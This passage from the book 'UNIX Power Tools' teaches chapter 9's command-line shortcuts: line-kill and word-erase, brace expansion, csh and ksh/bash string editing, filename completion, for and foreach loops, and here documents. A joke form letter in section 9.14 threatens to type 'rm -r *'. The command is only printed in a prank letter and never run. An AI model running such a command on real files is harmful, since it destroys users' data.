The shell receives the line echo CTRL-u. See the termio manual page for more information; there are certainly system-dependent variations.

What's the point of this article? Well, backslashes are messy. The shell, the terminal driver, echo (sometimes), and several other utilities use them. If you think very carefully, you can figure out exactly what's consuming them. If you're not of a rigorous frame of mind, you can just add backslashes until you get what you want. (But, obviously, the non-rigorous approach has pitfalls.) I've seen situations in troff (43.13) (which is another story altogether) where you need eight backslashes in order to have a single backslash left at the point where you want it!

(Extra credit: What happens when you put quotes (" or ') around the strings in the echo commands above? Especially, should quotes affect the way that the \[CTRL-u] is interpreted?)

- ML, JP

Previous: 8.19 "Special" Characters and Operators | UNIX Power Tools | Next: 9. Saving Time on the Command Line
8.19 "Special" Characters and Operators | Book Index | 9. Saving Time on the Command Line
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] Saving Time on the Command Line

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.20 How Many Backslashes? Chapter 9 Next: 9.2 Fix a Line Faster with Line-Kill and Word-Erase

9. Saving Time on the Command Line

Contents:
What's Special About the UNIX Command Line
Fix a Line Faster with Line-Kill and Word-Erase
Reprinting Your Command Line with CTRL-r
Use Wildcards to Create Files?
Build Strings with { }
String Editing (Colon) Operators
String Editing in ksh and bash
Filename Completion: Faster Filename Typing
Don't Match Useless Files in Filename Completion
Filename Completion Isn't Always the Answer
Repeating a Command with a foreach Loop
The Bourne Shell for Loop
Multiline Commands, Secondary Prompts
Using Here Documents for Form Letters, etc.
Throwaway Scripts for Complicated Commands
Command Substitution
Handling Lots of Text with Temporary Files
Process Substitution
For the Impatient: Type-Ahead
Too Many Files for the Command Line
Handle Too-Long Command Lines with xargs
xargs: Problems with Spaces and Newlines
Workaround for "Arguments too long" Error
Get File List by Editing Output of ls -l, grep, etc.
The C Shell repeat Command
Expect

9.1 What's Special About the UNIX Command Line

One of UNIX's best features is the shell's command line. Why? Every modern operating system has a command line; we don't use card readers with obscure job setup cards any more. What makes UNIX's special?

The UNIX shell command line allows lots of shortcuts. Some of these you'll find in other operating systems; some you won't. In this chapter, we'll introduce a lot of these shortcuts. Among other things, we'll discuss:

  • Faster erasing (9.2) of mistakes with the line-kill and word-erase characters. (These aren't just a feature of the shell; they work at many places other than a shell prompt.)

  • Filename completion (9.8, 9.9, 9.10), which allows you to type the beginning of a filename and let the shell fill in the rest.

  • Command substitution (9.16), which lets you use the output from one command as arguments to another. (Note: this is different from pipelining (1.4).)

  • Process substitution (9.18) in bash, and a script named ! for other shells, lets you put the output of a command into a temporary file - and give that filename to a process.

  • Type-ahead (9.19), the ability to type your next command (or commands) while the previous command is still running.

  • How to handle command lines that become too long (9.20, 9.21, 9.23).

Some fundamental command-line features that we aren't discussing in this chapter, but which are discussed elsewhere, are:

  • Job control (12.1), which lets you run several commands at the same time.

  • Aliases (10.2), or abbreviations, for commands. Shell functions (10.9) are similar.

  • Command-line editing (11.13) and history substitution (11.1) are two different ways (both useful) to "recall" previous commands.

  • Quoting (8.14, 8.15), the way you "protect" special characters from the UNIX shell.

  • Wildcards (15.2).

You don't need to be a command-line virtuoso to use UNIX effectively. But you'd be surprised at how much you can do with a few tricks. If all you can do at the command line is type ls or start FrameMaker, you're missing out on a lot.

- ML

Previous: 8.20 How Many Backslashes? | UNIX Power Tools | Next: 9.2 Fix a Line Faster with Line-Kill and Word-Erase
8.20 How Many Backslashes? | Book Index | 9.2 Fix a Line Faster with Line-Kill and Word-Erase
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.2 Fix a Line Faster with Line-Kill and Word-Erase

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.1 What's Special About the UNIX Command Line Chapter 9
Saving Time on the Command Line 		Next: 9.3 Reprinting Your Command Line with CTRL-r

9.2 Fix a Line Faster with Line-Kill and Word-Erase

It's amazing how often you'll see even moderately experienced UNIX users holding down the BACKSPACE or DELETE key to delete a partially completed command line that contains an error.

It's usually easier to use the line-kill character - typically CTRL-u or CTRL-x. (The command stty -a or stty everything (41.3) will tell you which. Article 5.9 shows how to change them.) The line-kill character will work on a command line (at a shell prompt (7.1)) and in other places where the terminal is in cooked mode (41.2). Some UNIX programs that don't run in cooked mode, like vi, understand the line-kill character, too.

Even better, many systems have a "word-erase" character, usually CTRL-w, which deletes only back to the previous whitespace. There's no need to delete the entire command line if you want to change only part of it!

On some systems with command-line editing (11.13), though, the line-kill and word-erase characters may not work the way we've explained. That's because the command-line editing isn't done in cooked mode; the shell handles every character you type. Check your shell's manual page.

- JP, TOR

Previous: 9.1 What's Special About the UNIX Command Line | UNIX Power Tools | Next: 9.3 Reprinting Your Command Line with CTRL-r
9.1 What's Special About the UNIX Command Line | Book Index | 9.3 Reprinting Your Command Line with CTRL-r
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.3 Reprinting Your Command Line with CTRL-r

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.2 Fix a Line Faster with Line-Kill and Word-Erase Chapter 9
Saving Time on the Command Line 		Next: 9.4 Use Wildcards to Create Files?

9.3 Reprinting Your Command Line with CTRL-r

You're logged in from home, running a program, and answering a prompt. As you're almost done, modem noise prints xDxD@! on your screen. Where were you? Or you're typing a long command line and a friend interrupts you with write (1.33) to say it's time for lunch. Do you have to press CTRL-u (9.2) and start typing over?

If your system understands the rprnt character (usually set to CTRL-r), you can ask for the command line to be reprinted as it was. In fact, you can use CTRL-r any time you want to know what the system thinks you've typed on the current line - not just when you're interrupted. But this only works in the normal cooked (41.2) input mode; programs like vi that do their own input processing may treat CTRL-r differently. Here's an example:

% egrep '(10394|29433|49401)' /work/symtower/

Message from alison@ruby on ttyp2 at 12:02 ...
how about lunch?
EOF[CTRL-r]
egrep '(10394|29433|49401)' /work/symtower/logs/*

After the interruption, I just pressed CTRL-r. It reprinted the stuff I'd started typing. I finished typing and pressed RETURN to run it.

If you use a shell like the Korn shell that has interactive command editing, you can probably use it to reprint the command line, too. In bash, for example, from vi editing mode, CTRL-r still seems to start an Emacs-style reverse search. So I added this fix to my ~/.inputrc file:

# By default, ^R seems to do a "reverse-i-search",
# even when not editing!  Workaround:
"\C-r": redraw-current-line

- JP

Previous: 9.2 Fix a Line Faster with Line-Kill and Word-Erase | UNIX Power Tools | Next: 9.4 Use Wildcards to Create Files?
9.2 Fix a Line Faster with Line-Kill and Word-Erase | Book Index | 9.4 Use Wildcards to Create Files?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.4 Use Wildcards to Create Files?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.3 Reprinting Your Command Line with CTRL-r Chapter 9
Saving Time on the Command Line 		Next: 9.5 Build Strings with { }

9.4 Use Wildcards to Create Files?

The shells' [] (square bracket) wildcards will match a range of files. For instance, if you have files named afile, bfile, cfile, and dfile, you can print the first three by typing:

% lpr [a-c]file

Now, let's say that you want to create some more files called efile, ffile, gfile, and hfile. What's wrong with typing the command line below? Try it. Instead of vi, you can use your favorite editor or the touch (21.7) command:

% vi [e-h]file   Doesn't make those four files
% ls
afile   bfile   cfile   dfile

Stumped? Take a look at article 1.16 about wildcard matching.

The answer: wildcards can't match names that don't exist yet. That's especially true with a command like touch ?file (21.7) or touch *file-think how many filenames those wildcards could possibly create!

Article 9.5 explains shell { } operators that solve this problem.

- JP

Previous: 9.3 Reprinting Your Command Line with CTRL-r | UNIX Power Tools | Next: 9.5 Build Strings with { }
9.3 Reprinting Your Command Line with CTRL-r | Book Index | 9.5 Build Strings with { }
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.5 Build Strings with { }

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.4 Use Wildcards to Create Files? Chapter 9
Saving Time on the Command Line 		Next: 9.6 String Editing (Colon) Operators

9.5 Build Strings with { }

I've been finding more and more uses for the {} pattern-expansion characters in csh, tcsh, and bash. (Other shells can use {}, too; see article 15.3.) They're similar to *, ?, and [] (15.2), but they don't match filenames the way that *, ?, and [] do. You can give them arbitrary text (not just filenames) to expand - that "expand-anything" ability is what makes them so useful.

Here are some examples to get you thinking:

  • To fix a typo in a filename (change fixbold5.c to fixbold6.c):

    % mv fixbold{5,6}.c

    An easy way to see what the shell does with {} is by adding echo (8.6) before the mv:

    % echo mv fixbold{5,6}.c
mv fixbold5.c fixbold6.c

  • To copy filename to filename.bak in one easy step:

    % cp filename{,.bak}

  • To print files from other directory(s) without retyping the whole pathname:

    % lpr /usr3/hannah/training/{ed,vi,mail}/lab.{ms,out}

    That would give lpr (43.2) all of these files:

    /usr3/hannah/training/ed/lab.ms
/usr3/hannah/training/ed/lab.out
/usr3/hannah/training/vi/lab.ms
/usr3/hannah/training/vi/lab.out
/usr3/hannah/training/mail/lab.ms
/usr3/hannah/training/mail/lab.out

    ...in one fell swoop!

  • To edit ten new files that don't exist yet:

    % vi /usr/foo/file{a,b,c,d,e,f,g,h,i,j}

    That would make /usr/foo/filea, /usr/foo/fileb, ... /usr/foo/filej. Because the files don't exist before the command starts, the wildcard vi /usr/foo/file[a-j] would not work (9.4).

  • An easy way to step through three-digit numbers 000, 001, ..., 009, 010, 011, ..., 099, 100, 101, ... 299 is:

    foreach

    foreach n ({0,1,2}{0,1,2,3,4,5,6,7,8,9}{0,1,2,3,4,5,6,7,8,9})
   ...Do whatever with the number $n...
end

    Yes, csh also has built-in arithmetic, but its @ operator (47.4) can't make numbers with leading zeros. This nice trick shows that the {} operators are good for more than just filenames.

  • To create sets of subdirectories:

    % mkdir man
% mkdir man/{man,cat}{1,2,3,4,5,6,7,8}
% ls -F man
cat1/   cat3/   cat5/   cat7/   man1/   man3/   man5/   man7/
cat2/   cat4/   cat6/   cat8/   man2/   man4/   man6/   man8/

  • To print ten copies of the file project_report (if your lpr (43.2) command doesn't have a -#10 option):

    % lpr project_repor{t,t,t,t,t,t,t,t,t,t}

- JP

Previous: 9.4 Use Wildcards to Create Files? | UNIX Power Tools | Next: 9.6 String Editing (Colon) Operators
9.4 Use Wildcards to Create Files? | Book Index | 9.6 String Editing (Colon) Operators
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.6 String Editing (Colon) Operators

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.5 Build Strings with { } Chapter 9
Saving Time on the Command Line 		Next: 9.7 String Editing in ksh and bash

9.6 String Editing (Colon) Operators

When the C shell and bash do history substitutions (11.7) they can also edit the substitution. The C shell - but not bash - can also edit variable substitutions (6.8). For instance, in the first example below, when !$ contains /a/b/c, adding the "head" operator :h will give just the head of the pathname, /a/b.

For a complete but very terse list of these operators, see the csh manual page. We hope the examples below will help you understand these useful operators.

  • :h gives the head of a pathname (14.2), as follows:

    % echo /a/b/c
/a/b/c
% echo !$:h
echo /a/b
/a/b

    That took off the filename and left the header. This also could be used with C shell variables (47.5) as:

    % set x = /a/b/c
% echo $x
/a/b/c
% echo $x:h
/a/b

  • :r returns the root of a filename:

    % echo xyz.c abc.c
xyz.c abc.c
% echo !$:r
echo abc
abc

    The :r removed the .c from the last argument, leaving the root name. This could also be used in C shell variable names:

    % set x = abc.c
% echo $x:r
abc

  • :g For more than one name, you can add the g operator to make the operation global. For example:

    (...)

    % set x = (a.a b.b c.c)
% echo $x:gr
a b c

    The :gr operator stripped off all dot (.) suffixes. By the way, this use of g does not work with the history commands.

    This is the C shell's answer to the basename (45.18) command.

  • :e returns the extension (the part of the name after a dot). Using csh variables:

    % set x=(abc.c)
% echo $x:e
c

    No luck using that within history, either.

  • :t gives the tail of a pathname - the actual filename without the path:

    % echo /a/b/c
/a/b/c
% echo !$:t
c

    With csh variables:

    % set x=(/a/b/c)
% echo $x:t
c

    And with multiple pathnames, you can do it globally with:

    % set x=(/a/b/c /d/e/f /g/h/i)
% echo $x:gt
c f i

    While the corresponding heads would be:

    % set x=(/a/b/c /d/e/f /g/h/i)
% echo $x:gh
/a/b /d/e /g/h

  • :p prints the command, but does not execute it (11.10):

    % echo *
fn1 fn2 fn3
% !:p
echo fn1 fn2 fn3

  • :q prevents further filename expansion, or prints the command as is:

    % echo *
fn1 fn2 fn3
% !:q
echo *
*

    The first command echoed the files in the directory, and when the :q was applied, it echoed only the special character.

  • :x is like :q, but it breaks the line into words. That is, when using :q, it is all one word, while :x will break it up into multiple words. [:q and :x are more often used with C shell arrays (47.5). -JP ]

- DR

Previous: 9.5 Build Strings with { } | UNIX Power Tools | Next: 9.7 String Editing in ksh and bash
9.5 Build Strings with { } | Book Index | 9.7 String Editing in ksh and bash
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.7 String Editing in ksh and bash

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.6 String Editing (Colon) Operators Chapter 9
Saving Time on the Command Line 		Next: 9.8 Filename Completion: Faster Filename Typing

9.7 String Editing in ksh and bash

The C shell's string editing operators (9.6) can be used with shell variables and, in some cases, with command history. Those operators also work with bash history. But the Korn shell and bash have a different way to edit shell variables. Table 9.1 shows them:

Table 9.1: ksh and bash String Editing Operators
Operator | Explanation
${variable#pattern} | Delete the shortest part of pattern that matches the beginning of variable's value. Return the rest.
${variable##pattern} | Delete the longest part of pattern that matches the beginning of variable's value. Return the rest.
${variable%pattern} | Delete the shortest part of pattern that matches the end of variable's value.Return the rest.
${variable%%pattern} | Delete the longest part of pattern that matches the end of variable's value.Return the rest.

The patterns can be filename wildcard characters: *, ?, and []; with string editing operators, wildcards match strings in the same way they match filenames. (These are not sed-like regular expressions.) The first two operators, with #, edit variables from the front. The other two, with %, edit from the end. Here's a system for remembering which does what: you put a number sign (#) at the front of a number and a percent sign (%) at the end of a number.

Time for some examples. The variable var contains /a/b/c/d/e.f.g:

Expression   Result

${var}   /a/b/c/d/e.f.g
${var#/*/}   b/c/d/e.f.g
${var##/*/}   e.f.g
${var%.*}   /a/b/c/d/e.f
${var%%.*}   /a/b/c/d/e
${var%%/*/}   /a/b/c/d/e.f.g
${var%%/*}
${var%/b*}   /a
${var%%/b*}   /a

How about a practical example? The PATH variable (6.4) is a string separated by colons (:). Let's say you want to remove the last directory from the system path and add $HOME/bin in place of the last directory. You'd type this command, or put a line like this in your .profile:

PATH=${PATH%:*}:$HOME/bin

Because the ${PATH%:*} has a single %, that operator removes the least it can: just the last colon plus the directory name after it. After string editing, the rest of the PATH has :$HOME/bin appended to it. The new value is saved as the new PATH.

The Bourne shell's parameter substitution operators (45.12) look similar, but they're mostly useful for shell programming.

- JP

Previous: 9.6 String Editing (Colon) Operators | UNIX Power Tools | Next: 9.8 Filename Completion: Faster Filename Typing
9.6 String Editing (Colon) Operators | Book Index | 9.8 Filename Completion: Faster Filename Typing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.8 Filename Completion: Faster Filename Typing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.7 String Editing in ksh and bash Chapter 9
Saving Time on the Command Line 		Next: 9.9 Don't Match Useless Files in Filename Completion

9.8 Filename Completion: Faster Filename Typing

If you hate typing long filenames, you should know about the shells' "filename completion" feature. It varies shell-to-shell, so we'll give an overview here. Check the manpage or the shell's Nutshell Handbook for details.

You can type the initial part of a filename, and then press the TAB key (in the C shell, use ESC). If the shell can figure out the complete filename from the part that you've typed, it will fill in the rest of the name. If not, it will fill in as much of the name as is unambiguous, and then let you type some more. (To enable this in most C shells, set the variable filec (6.9) or complete. Older C shells don't have this feature.) For example:

$ ls
alpha.c    alpha.o   beta.c
$ cc b [TAB]
$ cc beta.cShell fills in the filename automatically

(With tcsh and csh, your terminal will beep if more than one file matches the name you've typed. If all this beeping drives you crazy, you can set the nobeep shell variable; that will turn it off.) In this case, only one filename begins with b, so the shell can fill in the entire name.

If you type part of a filename and then type CTRL-d (in bash, type TAB twice), the shell lists all the files that match whatever you've typed. It then redisplays your command line and lets you continue typing. For example:

% cc a[CTRL-d]
alpha.c    alpha.o
% cc alpha.

Two files begin with the letter "a"; the shell lists them. It then redisplays the cc command, letting you finish the filename.

NOTE: Also, be forewarned that filename completion is a hack and doesn't always work correctly. For example: if you're using SunOS, you can't use filename completion within a "command tool" (SunOS 4.1). Don't try to mix filename completion with wildcards; it won't work. We can't go into detail about these rough edges, but if you're aware that they exist, you won't have trouble.

Article 14.9 shows an interesting shortcut to filename completion: cding to a directory by typing its "initials."

- ML, JP

Previous: 9.7 String Editing in ksh and bash | UNIX Power Tools | Next: 9.9 Don't Match Useless Files in Filename Completion
9.7 String Editing in ksh and bash | Book Index | 9.9 Don't Match Useless Files in Filename Completion
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.9 Don't Match Useless Files in Filename Completion

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.8 Filename Completion: Faster Filename Typing Chapter 9
Saving Time on the Command Line 		Next: 9.10 Filename Completion Isn't Always the Answer

9.9 Don't Match Useless Files in Filename Completion

The shell variable fignore (FIGNORE in bash) lets you tell the shell that you aren't interested in some files when using filename completion (9.8). For example, you are more likely to refer to C language source files (whose names end with .c) than object files (.o files); you often need to edit your source files, while you may never need to look at your object modules. Set fignore to the suffixes that you want to ignore. For example, to ignore .o files in tcsh and csh, type:

set ( )
% set fignore=(.o)

Once you've done this, file completion will ignore your .o files when you press the TAB key (ESC in csh)-unless a .o file is the only match it can find.

Most likely, there's a whole list of suffixes that you don't care about: .o (object modules), .out (random executables), .gz (gzipped files), and so on. Article 1.17 has a list of them. Here's how to set fignore to a list of filenames:

% set fignore=(.o .out .gz)   ...tcsh, csh
$ FIGNORE='.o:.out:.gz'       ...bash

fignore has no effect when you press CTRL-d to get a listing of the files that match in csh and tcsh. Those shells always give you a complete list of all possible completions.

- ML, JP

Previous: 9.8 Filename Completion: Faster Filename Typing | UNIX Power Tools | Next: 9.10 Filename Completion Isn't Always the Answer
9.8 Filename Completion: Faster Filename Typing | Book Index | 9.10 Filename Completion Isn't Always the Answer
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.10 Filename Completion Isn't Always the Answer

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.9 Don't Match Useless Files in Filename Completion Chapter 9
Saving Time on the Command Line 		Next: 9.11 Repeating a Command with a foreach Loop

9.10 Filename Completion Isn't Always the Answer

There are a number of times when filename completion (9.8, 11.13) isn't appropriate:

  • If you want to list many files on the command line, it may be easier to use a carefully constructed wildcard (1.16) expression.

  • As we mentioned earlier, filename completion and wildcards don't mix. If you need to use a wildcard, you can't use filename completion. For example, you might want to match a filename by the end of its name; if you have lots of files starting with a but only one of those filenames ends with .c, it's probably easier to type *.c or a*.c than to use filename completion.

  • Filename completion is obviously less worthwhile if you have to type most of the filename before you can use it. For example, if you have a lot of files with similar names, filename completion won't help an awful lot. (This may say something about the way you name files - the remedy might be to think up some more distinctive names.)

- ML, JP

Previous: 9.9 Don't Match Useless Files in Filename Completion | UNIX Power Tools | Next: 9.11 Repeating a Command with a foreach Loop
9.9 Don't Match Useless Files in Filename Completion | Book Index | 9.11 Repeating a Command with a foreach Loop
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.11 Repeating a Command with a foreach Loop

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.10 Filename Completion Isn't Always the Answer Chapter 9
Saving Time on the Command Line 		Next: 9.12 The Bourne Shell for Loop

9.11 Repeating a Command with a foreach Loop

When some people need to repeat a command on several files, the first thing they think of is C shell history (11.5):

-v

% cat -t -v /usr/fran/report | pg
   ...
% ^fran/report^rob/file3
cat -t -v /usr/rob/file3 | pg
   ...
% ^3^21
cat -t -v /usr/rob/file21 | pg
   ...
%

That kind of thing can be easier with the C shell's foreach loop. (In the Bourne and Korn shells, use a for (9.12) loop.) You give the loop a list of the words that will change each time the command line is run. In this example, it's a list of filenames. The loop will step through the words, one by one, storing a word into a shell variable (6.8), then running the command(s). The loop goes on until it has read all the words. For example:

% foreach file (/usr/fran/report /usr/rob/file3 /usr/rob/file21)
? cat -t -v $file | pg
? end
   ...Shell runs cat -t -v /usr/fran/report | pg...
   ...Shell runs cat -t -v /usr/rob/file3 | pg...
   ...Shell runs cat -t -v /usr/rob/file21 | pg...
%

The question marks (?) are secondary prompts (9.13); the C shell will keep printing them until you type the command end. Then the loop runs.

The list between the parentheses doesn't have to be filenames. Among other things, you can use wildcards (1.16), backquotes (9.16) (command substitution), variables (6.8, 6.1), and the C shell's handy curly brace ({}) operators (9.5). For example, you could have typed the above loop this way:

% foreach file (/usr/fran/report /usr/rob/file{3,21})
? cat -t -v $file | pg
? end

If you want the loop to stop before or after running each command, add the C shell operator $<. It reads keyboard input and waits for a RETURN. In this case, you can probably ignore the input; you'll use $< to make the loop wait. For example, to make the loop above prompt before each command line:

set

% foreach file (/usr/fran/report /usr/rob/file{3,21})
? echo -n "Press RETURN to see $file-"
? set x="$<"
? cat -t -v $file | pg
? end
Press RETURN to see /usr/fran/report- [RETURN]
   Shell runs cat -t -v /usr/fran/report | pg...
Press RETURN to see /usr/rob/file3- [RETURN]
   Shell runs cat -t -v /usr/rob/file3 | pg...
Press RETURN to see /usr/rob/file21- [RETURN]
   Shell runs cat -t -v /usr/rob/file21 | pg...

The loop parameters don't need to be filenames. For instance, you could send a personalized mail (1.33) message to five people this way: [1]

[1] If you're sending lots of mail messages with a loop, your system mailer may get overloaded. In that case, it's a good idea to put a command like sleep 5 (40.2) on a separate line before the end. That will give the mailer five seconds to send each message.

cat -
% foreach person (John Cathy Agnes Brett Elma)
? echo "Dear $person," | cat - formletter | mail $person
? end

The first line of the first letter will be "Dear John,"; the second letter "Dear Cathy,"; and so on.

Want to take this idea further? It's a part of shell programming (44.1). I usually don't recommend (47.2) shell programming with the C shell, but this is a handy technique to use interactively.

- JP

Previous: 9.10 Filename Completion Isn't Always the Answer | UNIX Power Tools | Next: 9.12 The Bourne Shell for Loop
9.10 Filename Completion Isn't Always the Answer | Book Index | 9.12 The Bourne Shell for Loop
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.12 The Bourne Shell for Loop

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.11 Repeating a Command with a foreach Loop Chapter 9
Saving Time on the Command Line 		Next: 9.13 Multiline Commands, Secondary Prompts

9.12 The Bourne Shell for Loop

The Bourne shell for loop is like the C shell foreach loop (9.11): it loops through a list of words, running one or more commands for each word in the list. This saves time when you want to run the same series of commands, separately, on several files.

Let's use the example from the article about foreach:

$ for file in /usr/fran/report /usr/rob/file2 /usr/rob/file3
> do
> cat -t -v $file | pg
> done
   ...Shell runs cat -t -v /usr/fran/report | pg...
   ...Shell runs cat -t -v /usr/rob/file2 | pg...
   ...Shell runs cat -t -v /usr/rob/file3 | pg...
$

The right angle brackets (>) are secondary prompts (9.13); the Bourne shell will keep printing them until you type the command done. Then it runs the loop. You don't have to press RETURN after the do; you can type the first command on the same line after it.

In a shell script, the loop body (the lines between do and done) are usually indented for clarity.

The list after the in doesn't have to be filenames. Among other things, you can use backquotes (9.16) (command substitution), variables (6.8, 6.1), or wildcards (15.1). For example, you could have typed the above loop this way:

$ for file in /usr/fran/report /usr/rob/file[23]
> do cat -t -v $file | pg
> done

If you want the loop to stop before or after running each command, add the Bourne shell read command (44.13). It reads keyboard input and waits for a RETURN. In this case, you can probably ignore the input; you'll use read to make the loop wait. For example, to make the above loop prompt before each command line:

$ for file in /usr/fran/report /usr/rob/file[23]
> do
> echo -n "Press RETURN to see $file-"
> read x
> cat -t -v $file | pg
> done
Press RETURN to see /usr/fran/report-
[RETURN]
   Shell runs cat -t -v /usr/fran/report | pg...
Press RETURN to see /usr/rob/file2-
[RETURN]
   Shell runs cat -t -v /usr/rob/file2 | pg...
Press RETURN to see /usr/rob/file3-
[RETURN]
   Shell runs cat -t -v /usr/rob/file3 | pg...

Article 44.16 has more information about the for loop. Article 45.16 shows how to make a for loop read the standard input instead of a list of arguments.

- JP

Previous: 9.11 Repeating a Command with a foreach Loop | UNIX Power Tools | Next: 9.13 Multiline Commands, Secondary Prompts
9.11 Repeating a Command with a foreach Loop | Book Index | 9.13 Multiline Commands, Secondary Prompts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.13 Multiline Commands, Secondary Prompts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.12 The Bourne Shell for Loop Chapter 9
Saving Time on the Command Line 		Next: 9.14 Using Here Documents for Form Letters, etc.

9.13 Multiline Commands, Secondary Prompts

Both the Bourne shell and the C shell support multiline commands. In the Bourne shell, a newline following an open quote (' or "), a pipe symbol (|), or a backslash (\) will not cause the command to be executed. Instead, you'll get a secondary prompt (from the PS2 environment variable, set to > by default) and you can continue the command on the next line. For example, to send a quick write (1.33) message without making the other user wait for you to type the message:

$ echo "We're leaving in 10 minutes. See you downstairs." |
> write joanne

In the C shell, you can continue a line by typing a backslash (\) before the newline (8.15). You won't get the secondary prompt.

Obviously, this is a convenience if you're typing a long command line. It is a minor feature and one easily overlooked; however, it makes it much easier to use a program like sed (34.24) from the command line. For example, if you know you chronically make the typos "mvoe" (for "move") and "thier" (for "their"), you might be inspired to type the following command:

nroff lp
$ sed '
> s/mvoe/move/g
> s/thier/their/g' myfile | nroff -ms | lp

More importantly, the ability to issue multiline commands lets you use the shell's programming features interactively from the command line. In both the Bourne and the C shell, multiline programming constructs automatically generate a secondary prompt (> in the Bourne shell, ? in the C shell) until the construct is completed.

For example, here's a place to use my favorite programming construct for non-programmers, the for loop (9.12):

$ for x in file1 file2 file3
> do
> sed 's/thier/their/g' $x > ,$x
> mv ,$x $x
> done
$

Or in the C shell with foreach (9.11):

% foreach x (file1 file2 file3)
? sed 's/thier/their/g' $x > ,$x
? mv ,$x $x
? end
%

While a simple command like this could be saved into a shell script (1.5), it is often even easier to use it interactively.

Users of sed should of course makesure their script works correctly before overwritingtheir original file . (34.3)

- TOR

Previous: 9.12 The Bourne Shell for Loop | UNIX Power Tools | Next: 9.14 Using Here Documents for Form Letters, etc.
9.12 The Bourne Shell for Loop | Book Index | 9.14 Using Here Documents for Form Letters, etc.
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.14 Using Here Documents for Form Letters, etc.

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.13 Multiline Commands, Secondary Prompts Chapter 9
Saving Time on the Command Line 		Next: 9.15 Throwaway Scripts for Complicated Commands

9.14 Using Here Documents for Form Letters, etc.

The here document operator << (8.18) is used in shell scripts. It tells the shell to take lines from the script as standard input to a command. The example below shows a loop (45.17) that prints three nasty form letters with the lpr (43.2) command. Each letter has a different person's name and the current date at the top. You can put this loop into a shell script (44.2) or just type it in at a Bourne shell prompt (9.12, 9.13). Each line of the loop body starts with a TAB character, which the <<- operator removes before the printer gets the text:

for person in "Mary Smith" "Doug Jones" "Alison Eddy"
do
   lpr <<- ENDMSG

   `date`

   Dear $person,

   This is your last notice. Buy me pizza tonight or
   else I'll type "rm -r *" when you're not looking.

   This is not a joak.

   Signed,
   The midnight skulker
   ENDMSG
done

Warning! This loop runs three lpr commands; each form letter prints on a separate page. The shell reads the standard input until it finds the terminator word, which in this case is ENDMSG. The word (ENDMSG) has to be on a line all by itself. (Some Bourne shells don't have the <<- operator to remove leading TAB characters. In that case, use << and don't indent the loop body.) The backquotes (9.16) run the date (51.10) command and output its date; $person is replaced with the person's name set at the top of the loop. The rest of the text is copied as is to the standard input of the lpr command.

- JP

Previous: 9.13 Multiline Commands, Secondary Prompts | UNIX Power Tools | Next: 9.15 Throwaway Scripts for Complicated Commands
9.13 Multiline Commands, Secondary Prompts | Book Index | 9.15 Throwaway Scripts for Complicated Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.15 Throwaway Scripts for Complicated Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.14 Using Here Documents for Form Letters, etc. Chapter 9
Saving Time on the Command Line 		Next: 9.16 Command Substitution

9.15 Throwaway Scripts for Complicated Commands

